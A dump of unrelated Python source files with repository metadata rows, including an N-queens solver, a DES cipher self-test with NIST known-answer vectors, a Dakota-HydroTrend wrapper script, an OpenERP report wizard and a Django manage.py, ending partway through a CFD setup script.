from ..models.xlm.convert_xlm_original_pytorch_checkpoint_to_pytorch import (
convert_xlm_checkpoint_to_pytorch,
)
convert_xlm_checkpoint_to_pytorch(self._tf_checkpoint, self._pytorch_dump_output)
elif self._model_type == "lxmert":
from ..models.lxmert.convert_lxmert_original_pytorch_checkpoint_to_pytorch import (
convert_lxmert_checkpoint_to_pytorch,
)
convert_lxmert_checkpoint_to_pytorch(self._tf_checkpoint, self._pytorch_dump_output)
else:
raise ValueError(
"--model_type should be selected in the list [bert, gpt, gpt2, t5, transfo_xl, xlnet, xlm, lxmert]"
)
| [
"[email protected]"
] | |
aa5c4a98512495974fb7608726a4f591fddd94e6 | 8e39a4f4ae1e8e88d3b2d731059689ad5b201a56 | /dev-util/itstool/itstool-2.0.2.py | 98413b632277dc442d4cbfa589f28591e237e38c | [] | no_license | wdysln/new | d5f5193f81a1827769085932ab7327bb10ef648e | b643824b26148e71859a1afe4518fe05a79d333c | refs/heads/master | 2020-05-31T00:12:05.114056 | 2016-01-04T11:38:40 | 2016-01-04T11:38:40 | 37,287,357 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 219 | py | metadata = """
summary @ XML to PO and back again
homepage @ http://itstool.org/
license @ GPL3
src_url @ http://files.itstool.org/$name/$fullname.tar.bz2
arch @ ~x86_64
"""
depends = """
build @ dev-libs/libxml2
"""
| [
"[email protected]"
] | |
9bb91005f84d4d67416db899318bf4ddb657920e | 463febc26f9f6e09d51206c87c7450476b1dfa7c | /0x0C-nqueens/0-nqueens.py | b48a68afd83f68b7c5b517b2fcb380f754708017 | [] | no_license | Nahi-Terefe/holbertonschool-interview | 77a5fd0e668cabaa2f986ded265996061fcbc9f8 | e4842430f346d5b18e407ac468ba225aaeaae9d8 | refs/heads/master | 2023-02-17T13:31:31.389980 | 2021-01-12T00:24:42 | 2021-01-12T00:24:42 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,734 | py | #!/usr/bin/python3
""" Solving n queens """
import sys
# error handling for argv[1]
if __name__ == "__main__":
if len(sys.argv) == 1 or len(sys.argv) > 2:
print("Usage: nqueens N")
sys.exit(1)
N = sys.argv[1]
try:
N_int = int(N)
except ValueError:
print("N must be a number")
sys.exit(1)
if N_int < 4:
print("N must be at least 4")
sys.exit(1)
# n queens methods
coords = []
def isSafe(coords, row, col):
""" Checks if queen can be placed in coord of board.
Returns True if can, else False
"""
rows = []
cols = []
diag_r = []
diag_l = []
for square in coords:
rows.append(square[0])
cols.append(square[1])
diag_r.append(square[0] + square[1])
diag_l.append(square[1] - square[0])
if row in rows or col in cols:
return False
if row + col in diag_r or col - row in diag_l:
return False
return True
def solveNqueens(coords, col, safe_queens=[]):
""" Creates array of queen positions
Returns array
"""
for x in range(N_int):
if isSafe(coords, x, col):
coords.append([x, col])
if col == N_int - 1:
safe_queens.append(coords.copy())
del coords[-1]
else:
solveNqueens(coords, col + 1)
if len(coords):
del coords[-1]
return safe_queens
# sets base case for recursion
coords = solveNqueens(coords, 0)
# prints coords of squares for safe queens
for squares in coords:
print(squares)
| [
"[email protected]"
] | |
e5864a2b83c01f7034aa3be5885b5d669876f36d | 2536dc92dff2eea7ebe7dcd3d10a6bc89ac78178 | /venv/Lib/site-packages/crypto/SelfTest/Cipher/test_DES.py | 62fcc20ffbee6a7ab5b8dad8638d507e6f5d20a8 | [] | no_license | AlamParihar/Cryptography-Challenges | 1eb2028b942d5a04a9aa27286e8d61b875d96021 | 05631e31285549b8c65c54c9397e09fb9bd22561 | refs/heads/master | 2020-03-27T23:22:01.674910 | 2018-09-24T04:50:26 | 2018-09-24T04:50:26 | 147,312,736 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 14,904 | py | # -*- coding: utf-8 -*-
#
# SelfTest/Cipher/DES.py: Self-test for the (Single) DES cipher
#
# Written in 2008 by Dwayne C. Litzenberger <[email protected]>
#
# ===================================================================
# The contents of this file are dedicated to the public domain. To
# the extent that dedication to the public domain is not available,
# everyone is granted a worldwide, perpetual, royalty-free,
# non-exclusive license to exercise all rights associated with the
# contents of this file for any purpose whatsoever.
# No rights are reserved.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
# ===================================================================
"""Self-test suite for Crypto.Cipher.DES"""
from crypto.Util.py3compat import *
import unittest
# This is a list of (plaintext, ciphertext, key, description) tuples.
SP800_17_B1_KEY = '01' * 8
SP800_17_B2_PT = '00' * 8
test_data = [
# Test vectors from Appendix A of NIST SP 800-17
# "Modes of Operation Validation System (MOVS): Requirements and Procedures"
# http://csrc.nist.gov/publications/nistpubs/800-17/800-17.pdf
# Appendix A - "Sample Round Outputs for the DES"
('0000000000000000', '82dcbafbdeab6602', '10316e028c8f3b4a',
"NIST SP800-17 A"),
# Table B.1 - Variable Plaintext Known Answer Test
('8000000000000000', '95f8a5e5dd31d900', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #0'),
('4000000000000000', 'dd7f121ca5015619', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #1'),
('2000000000000000', '2e8653104f3834ea', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #2'),
('1000000000000000', '4bd388ff6cd81d4f', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #3'),
('0800000000000000', '20b9e767b2fb1456', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #4'),
('0400000000000000', '55579380d77138ef', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #5'),
('0200000000000000', '6cc5defaaf04512f', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #6'),
('0100000000000000', '0d9f279ba5d87260', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #7'),
('0080000000000000', 'd9031b0271bd5a0a', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #8'),
('0040000000000000', '424250b37c3dd951', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #9'),
('0020000000000000', 'b8061b7ecd9a21e5', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #10'),
('0010000000000000', 'f15d0f286b65bd28', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #11'),
('0008000000000000', 'add0cc8d6e5deba1', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #12'),
('0004000000000000', 'e6d5f82752ad63d1', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #13'),
('0002000000000000', 'ecbfe3bd3f591a5e', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #14'),
('0001000000000000', 'f356834379d165cd', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #15'),
('0000800000000000', '2b9f982f20037fa9', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #16'),
('0000400000000000', '889de068a16f0be6', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #17'),
('0000200000000000', 'e19e275d846a1298', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #18'),
('0000100000000000', '329a8ed523d71aec', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #19'),
('0000080000000000', 'e7fce22557d23c97', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #20'),
('0000040000000000', '12a9f5817ff2d65d', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #21'),
('0000020000000000', 'a484c3ad38dc9c19', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #22'),
('0000010000000000', 'fbe00a8a1ef8ad72', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #23'),
('0000008000000000', '750d079407521363', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #24'),
('0000004000000000', '64feed9c724c2faf', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #25'),
('0000002000000000', 'f02b263b328e2b60', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #26'),
('0000001000000000', '9d64555a9a10b852', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #27'),
('0000000800000000', 'd106ff0bed5255d7', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #28'),
('0000000400000000', 'e1652c6b138c64a5', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #29'),
('0000000200000000', 'e428581186ec8f46', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #30'),
('0000000100000000', 'aeb5f5ede22d1a36', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #31'),
('0000000080000000', 'e943d7568aec0c5c', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #32'),
('0000000040000000', 'df98c8276f54b04b', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #33'),
('0000000020000000', 'b160e4680f6c696f', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #34'),
('0000000010000000', 'fa0752b07d9c4ab8', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #35'),
('0000000008000000', 'ca3a2b036dbc8502', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #36'),
('0000000004000000', '5e0905517bb59bcf', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #37'),
('0000000002000000', '814eeb3b91d90726', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #38'),
('0000000001000000', '4d49db1532919c9f', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #39'),
('0000000000800000', '25eb5fc3f8cf0621', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #40'),
('0000000000400000', 'ab6a20c0620d1c6f', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #41'),
('0000000000200000', '79e90dbc98f92cca', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #42'),
('0000000000100000', '866ecedd8072bb0e', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #43'),
('0000000000080000', '8b54536f2f3e64a8', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #44'),
('0000000000040000', 'ea51d3975595b86b', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #45'),
('0000000000020000', 'caffc6ac4542de31', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #46'),
('0000000000010000', '8dd45a2ddf90796c', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #47'),
('0000000000008000', '1029d55e880ec2d0', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #48'),
('0000000000004000', '5d86cb23639dbea9', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #49'),
('0000000000002000', '1d1ca853ae7c0c5f', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #50'),
('0000000000001000', 'ce332329248f3228', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #51'),
('0000000000000800', '8405d1abe24fb942', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #52'),
('0000000000000400', 'e643d78090ca4207', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #53'),
('0000000000000200', '48221b9937748a23', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #54'),
('0000000000000100', 'dd7c0bbd61fafd54', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #55'),
('0000000000000080', '2fbc291a570db5c4', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #56'),
('0000000000000040', 'e07c30d7e4e26e12', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #57'),
('0000000000000020', '0953e2258e8e90a1', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #58'),
('0000000000000010', '5b711bc4ceebf2ee', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #59'),
('0000000000000008', 'cc083f1e6d9e85f6', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #60'),
('0000000000000004', 'd2fd8867d50d2dfe', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #61'),
('0000000000000002', '06e7ea22ce92708f', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #62'),
('0000000000000001', '166b40b44aba4bd6', SP800_17_B1_KEY,
'NIST SP800-17 B.1 #63'),
# Table B.2 - Variable Key Known Answer Test
(SP800_17_B2_PT, '95a8d72813daa94d', '8001010101010101',
'NIST SP800-17 B.2 #0'),
(SP800_17_B2_PT, '0eec1487dd8c26d5', '4001010101010101',
'NIST SP800-17 B.2 #1'),
(SP800_17_B2_PT, '7ad16ffb79c45926', '2001010101010101',
'NIST SP800-17 B.2 #2'),
(SP800_17_B2_PT, 'd3746294ca6a6cf3', '1001010101010101',
'NIST SP800-17 B.2 #3'),
(SP800_17_B2_PT, '809f5f873c1fd761', '0801010101010101',
'NIST SP800-17 B.2 #4'),
(SP800_17_B2_PT, 'c02faffec989d1fc', '0401010101010101',
'NIST SP800-17 B.2 #5'),
(SP800_17_B2_PT, '4615aa1d33e72f10', '0201010101010101',
'NIST SP800-17 B.2 #6'),
(SP800_17_B2_PT, '2055123350c00858', '0180010101010101',
'NIST SP800-17 B.2 #7'),
(SP800_17_B2_PT, 'df3b99d6577397c8', '0140010101010101',
'NIST SP800-17 B.2 #8'),
(SP800_17_B2_PT, '31fe17369b5288c9', '0120010101010101',
'NIST SP800-17 B.2 #9'),
(SP800_17_B2_PT, 'dfdd3cc64dae1642', '0110010101010101',
'NIST SP800-17 B.2 #10'),
(SP800_17_B2_PT, '178c83ce2b399d94', '0108010101010101',
'NIST SP800-17 B.2 #11'),
(SP800_17_B2_PT, '50f636324a9b7f80', '0104010101010101',
'NIST SP800-17 B.2 #12'),
(SP800_17_B2_PT, 'a8468ee3bc18f06d', '0102010101010101',
'NIST SP800-17 B.2 #13'),
(SP800_17_B2_PT, 'a2dc9e92fd3cde92', '0101800101010101',
'NIST SP800-17 B.2 #14'),
(SP800_17_B2_PT, 'cac09f797d031287', '0101400101010101',
'NIST SP800-17 B.2 #15'),
(SP800_17_B2_PT, '90ba680b22aeb525', '0101200101010101',
'NIST SP800-17 B.2 #16'),
(SP800_17_B2_PT, 'ce7a24f350e280b6', '0101100101010101',
'NIST SP800-17 B.2 #17'),
(SP800_17_B2_PT, '882bff0aa01a0b87', '0101080101010101',
'NIST SP800-17 B.2 #18'),
(SP800_17_B2_PT, '25610288924511c2', '0101040101010101',
'NIST SP800-17 B.2 #19'),
(SP800_17_B2_PT, 'c71516c29c75d170', '0101020101010101',
'NIST SP800-17 B.2 #20'),
(SP800_17_B2_PT, '5199c29a52c9f059', '0101018001010101',
'NIST SP800-17 B.2 #21'),
(SP800_17_B2_PT, 'c22f0a294a71f29f', '0101014001010101',
'NIST SP800-17 B.2 #22'),
(SP800_17_B2_PT, 'ee371483714c02ea', '0101012001010101',
'NIST SP800-17 B.2 #23'),
(SP800_17_B2_PT, 'a81fbd448f9e522f', '0101011001010101',
'NIST SP800-17 B.2 #24'),
(SP800_17_B2_PT, '4f644c92e192dfed', '0101010801010101',
'NIST SP800-17 B.2 #25'),
(SP800_17_B2_PT, '1afa9a66a6df92ae', '0101010401010101',
'NIST SP800-17 B.2 #26'),
(SP800_17_B2_PT, 'b3c1cc715cb879d8', '0101010201010101',
'NIST SP800-17 B.2 #27'),
(SP800_17_B2_PT, '19d032e64ab0bd8b', '0101010180010101',
'NIST SP800-17 B.2 #28'),
(SP800_17_B2_PT, '3cfaa7a7dc8720dc', '0101010140010101',
'NIST SP800-17 B.2 #29'),
(SP800_17_B2_PT, 'b7265f7f447ac6f3', '0101010120010101',
'NIST SP800-17 B.2 #30'),
(SP800_17_B2_PT, '9db73b3c0d163f54', '0101010110010101',
'NIST SP800-17 B.2 #31'),
(SP800_17_B2_PT, '8181b65babf4a975', '0101010108010101',
'NIST SP800-17 B.2 #32'),
(SP800_17_B2_PT, '93c9b64042eaa240', '0101010104010101',
'NIST SP800-17 B.2 #33'),
(SP800_17_B2_PT, '5570530829705592', '0101010102010101',
'NIST SP800-17 B.2 #34'),
(SP800_17_B2_PT, '8638809e878787a0', '0101010101800101',
'NIST SP800-17 B.2 #35'),
(SP800_17_B2_PT, '41b9a79af79ac208', '0101010101400101',
'NIST SP800-17 B.2 #36'),
(SP800_17_B2_PT, '7a9be42f2009a892', '0101010101200101',
'NIST SP800-17 B.2 #37'),
(SP800_17_B2_PT, '29038d56ba6d2745', '0101010101100101',
'NIST SP800-17 B.2 #38'),
(SP800_17_B2_PT, '5495c6abf1e5df51', '0101010101080101',
'NIST SP800-17 B.2 #39'),
(SP800_17_B2_PT, 'ae13dbd561488933', '0101010101040101',
'NIST SP800-17 B.2 #40'),
(SP800_17_B2_PT, '024d1ffa8904e389', '0101010101020101',
'NIST SP800-17 B.2 #41'),
(SP800_17_B2_PT, 'd1399712f99bf02e', '0101010101018001',
'NIST SP800-17 B.2 #42'),
(SP800_17_B2_PT, '14c1d7c1cffec79e', '0101010101014001',
'NIST SP800-17 B.2 #43'),
(SP800_17_B2_PT, '1de5279dae3bed6f', '0101010101012001',
'NIST SP800-17 B.2 #44'),
(SP800_17_B2_PT, 'e941a33f85501303', '0101010101011001',
'NIST SP800-17 B.2 #45'),
(SP800_17_B2_PT, 'da99dbbc9a03f379', '0101010101010801',
'NIST SP800-17 B.2 #46'),
(SP800_17_B2_PT, 'b7fc92f91d8e92e9', '0101010101010401',
'NIST SP800-17 B.2 #47'),
(SP800_17_B2_PT, 'ae8e5caa3ca04e85', '0101010101010201',
'NIST SP800-17 B.2 #48'),
(SP800_17_B2_PT, '9cc62df43b6eed74', '0101010101010180',
'NIST SP800-17 B.2 #49'),
(SP800_17_B2_PT, 'd863dbb5c59a91a0', '0101010101010140',
'NIST SP800-17 B.2 #50'),
(SP800_17_B2_PT, 'a1ab2190545b91d7', '0101010101010120',
'NIST SP800-17 B.2 #51'),
(SP800_17_B2_PT, '0875041e64c570f7', '0101010101010110',
'NIST SP800-17 B.2 #52'),
(SP800_17_B2_PT, '5a594528bebef1cc', '0101010101010108',
'NIST SP800-17 B.2 #53'),
(SP800_17_B2_PT, 'fcdb3291de21f0c0', '0101010101010104',
'NIST SP800-17 B.2 #54'),
(SP800_17_B2_PT, '869efd7f9f265a09', '0101010101010102',
'NIST SP800-17 B.2 #55'),
]
class RonRivestTest(unittest.TestCase):
""" Ronald L. Rivest's DES test, see
http://people.csail.mit.edu/rivest/Destest.txt
ABSTRACT
--------
We present a simple way to test the correctness of a DES implementation:
Use the recurrence relation:
X0 = 9474B8E8C73BCA7D (hexadecimal)
X(i+1) = IF (i is even) THEN E(Xi,Xi) ELSE D(Xi,Xi)
to compute a sequence of 64-bit values: X0, X1, X2, ..., X16. Here
E(X,K) denotes the DES encryption of X using key K, and D(X,K) denotes
the DES decryption of X using key K. If you obtain
X16 = 1B1A2DDB4C642438
your implementation does not have any of the 36,568 possible single-fault
errors described herein.
"""
def runTest(self):
from crypto.Cipher import DES
from binascii import b2a_hex
X = []
X[0:] = [b('\x94\x74\xB8\xE8\xC7\x3B\xCA\x7D')]
for i in range(16):
c = DES.new(X[i],DES.MODE_ECB)
if not (i&1): # (num&1) returns 1 for odd numbers
X[i+1:] = [c.encrypt(X[i])] # even
else:
X[i+1:] = [c.decrypt(X[i])] # odd
self.assertEqual(b2a_hex(X[16]),
b2a_hex(b('\x1B\x1A\x2D\xDB\x4C\x64\x24\x38')))
def get_tests(config={}):
from crypto.Cipher import DES
from .common import make_block_tests
return make_block_tests(DES, "DES", test_data) + [RonRivestTest()]
if __name__ == '__main__':
import unittest
suite = lambda: unittest.TestSuite(get_tests())
unittest.main(defaultTest='suite')
# vim:set ts=4 sw=4 sts=4 expandtab:
| [
"[email protected]"
] | |
c99cf3261ef3264d9556a7b23a4752ba3d1719ea | 95c9cfb57346a4ff45b05847c2fd740cdd60fb79 | /examples/2-hydrotrend/run_hydrotrend.py | fcff63ddf946fbbaae6da021a5b914505fc530ec | [
"MIT"
] | permissive | mdpiper/dakota-tutorial | 1234812eaf00e97999abcdccc0a3027ed2bb1d92 | de5177bc741a0475266011de8363ff1ad4ce5ff0 | refs/heads/master | 2021-01-17T22:07:44.576114 | 2015-05-25T18:54:24 | 2015-05-25T18:54:24 | 35,640,799 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,479 | py | #! /usr/bin/env python
# Brokers communication between HydroTrend and Dakota through files.
# Mark Piper ([email protected])
import sys
import os
import re
import shutil
from subprocess import call
import numpy as np
def read(output_file):
"""Reads a column of text containing HydroTrend output."""
return np.loadtxt(output_file, skiprows=2)
def write(results_file, array, labels):
"""Writes a Dakota results file from an input array."""
with open(results_file, 'w') as fp:
for i in range(len(array)):
fp.write(str(array[i]) + '\t' + labels[i] + '\n')
def get_labels(params_file):
"""Extracts labels from a Dakota parameters file."""
labels = []
with open(params_file, 'r') as fp:
for line in fp:
if re.search('ASV_', line):
labels.append(''.join(re.findall(':(\S+)', line)))
return labels
def main():
# Files and directories.
start_dir = os.path.dirname(os.path.realpath(__file__))
input_dir = os.path.join(start_dir, 'HYDRO_IN')
if os.path.exists(input_dir) is False:
os.mkdir(input_dir)
output_dir = os.path.join(start_dir, 'HYDRO_OUTPUT')
if os.path.exists(output_dir) is False:
os.mkdir(output_dir)
input_template = 'HYDRO.IN.template'
input_file = 'HYDRO.IN'
hypsometry_file = 'HYDRO0.HYPS'
output_file = 'HYDROASCII.QS'
# Use the parsing utility `dprepro` (from $DAKOTA_DIR/bin) to
# incorporate the parameters from Dakota into the HydroTrend input
# template, creating a new HydroTrend input file.
shutil.copy(os.path.join(start_dir, input_template), os.curdir)
call(['dprepro', sys.argv[1], input_template, input_file])
shutil.copy(input_file, input_dir)
shutil.copy(os.path.join(start_dir, hypsometry_file), input_dir)
# Call HydroTrend, using the updated input file.
call(['hydrotrend',
'--in-dir', os.path.relpath(input_dir),
'--out-dir', os.path.relpath(output_dir)])
# Calculate mean and standard deviation of a HydroTrend output time
# series for the simulation. Write the output to a Dakota results file.
shutil.copy(os.path.join(output_dir, output_file), os.curdir)
labels = get_labels(sys.argv[1])
series = read(output_file)
if series is not None:
m_series = [np.mean(series), np.std(series)]
else:
m_series = [0, 0]
write(sys.argv[2], m_series, labels)
if __name__ == '__main__':
main()
| [
"[email protected]"
] | |
2afb87b876777eba3345babac92efef1ee1fa736 | 0d0afd1dce972b4748ce8faccd992c019794ad9e | /integra/exata_personalizacao/wizard/projeto_relatorio.py | 4618ff3fdae885ab494f0eb9f31e24029bb9adc2 | [] | no_license | danimaribeiro/odoo-erp | e2ca2cfe3629fbedf413e85f7c3c0453fd16941e | d12577bf7f5266b571cbedeb930720d653320e96 | refs/heads/master | 2020-01-23T21:32:16.149716 | 2016-11-05T15:35:40 | 2016-11-05T15:35:40 | 67,892,809 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,555 | py | # -*- encoding: utf-8 -*-
import os
from osv import orm, fields, osv
import base64
from finan.wizard.finan_relatorio import Report
from pybrasil.data import parse_datetime, mes_passado, primeiro_dia_mes, ultimo_dia_mes, hoje, agora, formata_data
from finan.wizard.relatorio import *
from datetime import date
import csv
from pybrasil.base import DicionarioBrasil
from pybrasil.valor.decimal import Decimal as D
from pybrasil.valor import formata_valor
from pybrasil.data.grafico_gantt import tempo_tarefa
from dateutil.relativedelta import relativedelta
DIR_ATUAL = os.path.abspath(os.path.dirname(__file__))
JASPER_BASE_DIR = os.path.join(DIR_ATUAL, '../../reports/base/')
class projeto_relatorio(osv.osv_memory):
_name = 'projeto.relatorio'
_inherit = 'projeto.relatorio'
def gera_relatorio_imovel_projeto(self, cr, uid, ids, context={}):
if not ids:
return False
id = ids[0]
rel_obj = self.browse(cr, uid, id, context=context)
rel = Report('Imoveis por Projeto', cr, uid)
rel.caminho_arquivo_jasper = os.path.join(JASPER_BASE_DIR, 'exata_relatorio_venda_projeto.jrxml')
rel.outputFormat = rel_obj.formato
rel.parametros['PROJETO_ID'] = rel_obj.project_id.id
pdf, formato = rel.execute()
dados = {
'nome': u'Imoveis_' + rel_obj.project_id.name + '.' + rel_obj.formato,
'arquivo': base64.encodestring(pdf)
}
rel_obj.write(dados)
return True
projeto_relatorio()
| [
"[email protected]"
] | |
07e7569c8db903217b70a5cd79e4b4672e203cf9 | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p03636/s795119653.py | d8a4b73447a786ef0435aa2faeea73c314446486 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 114 | py | S = str(input())
l = int(len(S))
#print(l)
#print(S[0])
s1 = S[0]
s2 = S[-1]
L = int(l-2)
print(s1 + str(L) + s2) | [
"[email protected]"
] | |
bf896d27d0957d9c1b5952ca011f6569797647a3 | 7c1c1f156299d8da8135ee41d8076e9ea38dce6a | /backend/manage.py | 62f3a31db53e84f0bd4e130f6618874c6b84ec9c | [] | no_license | crowdbotics-apps/spell-15623 | 479832f65626f5963ec837285c13ba2acc85e64d | 3df3d7fbf2048b8cd0b4eae4cd0b89c6f72bc0c2 | refs/heads/master | 2023-02-06T06:32:29.867764 | 2020-04-09T01:30:03 | 2020-04-09T01:30:03 | 254,241,135 | 0 | 0 | null | 2023-01-24T03:34:31 | 2020-04-09T01:29:09 | JavaScript | UTF-8 | Python | false | false | 631 | py | #!/usr/bin/env python
"""Django's command-line utility for administrative tasks."""
import os
import sys
def main():
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'spell_15623.settings')
try:
from django.core.management import execute_from_command_line
except ImportError as exc:
raise ImportError(
"Couldn't import Django. Are you sure it's installed and "
"available on your PYTHONPATH environment variable? Did you "
"forget to activate a virtual environment?"
) from exc
execute_from_command_line(sys.argv)
if __name__ == '__main__':
main()
| [
"[email protected]"
] | |
305da2da6f4b22e89e4160f93e3e470090d20926 | d78dfc5089717fc242bbd7097f507d811abb4260 | /USA/script.icechannel.Usefile.settings/default.py | bdf16309ca6cef9b0506ee0fee1844dc07dd00bb | [] | no_license | tustxk/AddOnRepo | 995b980a9ec737e2c25bed423fc83f710c697e40 | 6b86a06cb37e6e10b4119584dd7311ebc2318e54 | refs/heads/master | 2022-10-08T21:34:34.632346 | 2016-10-28T09:48:01 | 2016-10-28T09:48:01 | 70,684,775 | 1 | 1 | null | 2022-10-01T16:27:13 | 2016-10-12T09:31:16 | Python | UTF-8 | Python | false | false | 163 | py | addon_id="script.icechannel.Usefile.settings"
addon_name="iStream - Usefile - Settings"
import xbmcaddon
addon = xbmcaddon.Addon(id=addon_id)
addon.openSettings()
| [
"[email protected]"
] | |
31d493116b2e621b5d93a3977480ec7ae3fd48cf | 163bbb4e0920dedd5941e3edfb2d8706ba75627d | /Code/CodeRecords/2157/60749/252819.py | e40d7365ee8419681863874c71cda7f98525182e | [] | no_license | AdamZhouSE/pythonHomework | a25c120b03a158d60aaa9fdc5fb203b1bb377a19 | ffc5606817a666aa6241cfab27364326f5c066ff | refs/heads/master | 2022-11-24T08:05:22.122011 | 2020-07-28T16:21:24 | 2020-07-28T16:21:24 | 259,576,640 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 510 | py | str1=input()
def RomaToNum(str1):
dic={'I':1, 'V':5, 'X':10, 'L':50,'C':100,'D':500,'M':1000}
res=[]
for h in str1:
res.append(dic[h])
max1=0
for t in res:
max1=max(t,max1)
max_index=res.index(max1)
result=0
for h in range(0,max_index):
result-=res[h]
for h in range(max_index, len(res)-1):
if res[h]>=res[h+1]:
result+=res[h]
else:
result-=res[h]
result+=res[-1]
return result
print(RomaToNum(str1)) | [
"[email protected]"
] | |
98977ef8cf14cb3eacaaa82bf32eb3c854d0ca8d | 6923f79f1eaaba0ab28b25337ba6cb56be97d32d | /CFD_from_scratch_Lignell/cfd.py | 759f232c789c441088b4d6a0d5ae6faa654aacdf | [] | no_license | burakbayramli/books | 9fe7ba0cabf06e113eb125d62fe16d4946f4a4f0 | 5e9a0e03aa7ddf5e5ddf89943ccc68d94b539e95 | refs/heads/master | 2023-08-17T05:31:08.885134 | 2023-08-14T10:05:37 | 2023-08-14T10:05:37 | 72,460,321 | 223 | 174 | null | 2022-10-24T12:15:06 | 2016-10-31T17:24:00 | Jupyter Notebook | UTF-8 | Python | false | false | 10,504 | py | import numpy as np
from scipy.sparse import diags
from scipy.sparse.linalg import spsolve
import matplotlib.pyplot as plt
IJ = np.ix_
def set_user_specifications():
global nx, ny, Lx, Ly, ν, ubc_t, ubc_b, vbc_r, vbc_l, n_τ_run, cfl
nx = 40 # number of grid points in x direction (P-grid)
ny = 60 # number of grid points in the y direction (P-grid)
Lx = 1.0 # domain length in x
Ly = 1.5 # domain length in y
ν = 1.0 # kinematic viscosity
ubc_t = 10.0 # u on top boundary
ubc_b = 0.0 # u on bottom boundary
vbc_r = 10.0 # v on right boundary
vbc_l = 0.0 # v on left boundary
n_τ_run = 2 # number of box timescales to run for
cfl = 0.05 # timestep size factor
def set_grid_time_vars():
global x, y, Δx, Δy, tend, Δt, nsteps, u, v, P
x = np.linspace(0,Lx,nx) # x-grid
y = np.linspace(0,Ly,ny) # y-grid
Δx = x[1] - x[0] # x-grid spacing
Δy = y[1] - y[0] # y-grid spacing
τ_box = (Lx+Ly)/2 / np.max(np.abs([ubc_t, ubc_b, vbc_r, vbc_l])) # box timescale
tend = τ_box * n_τ_run # simulation run time
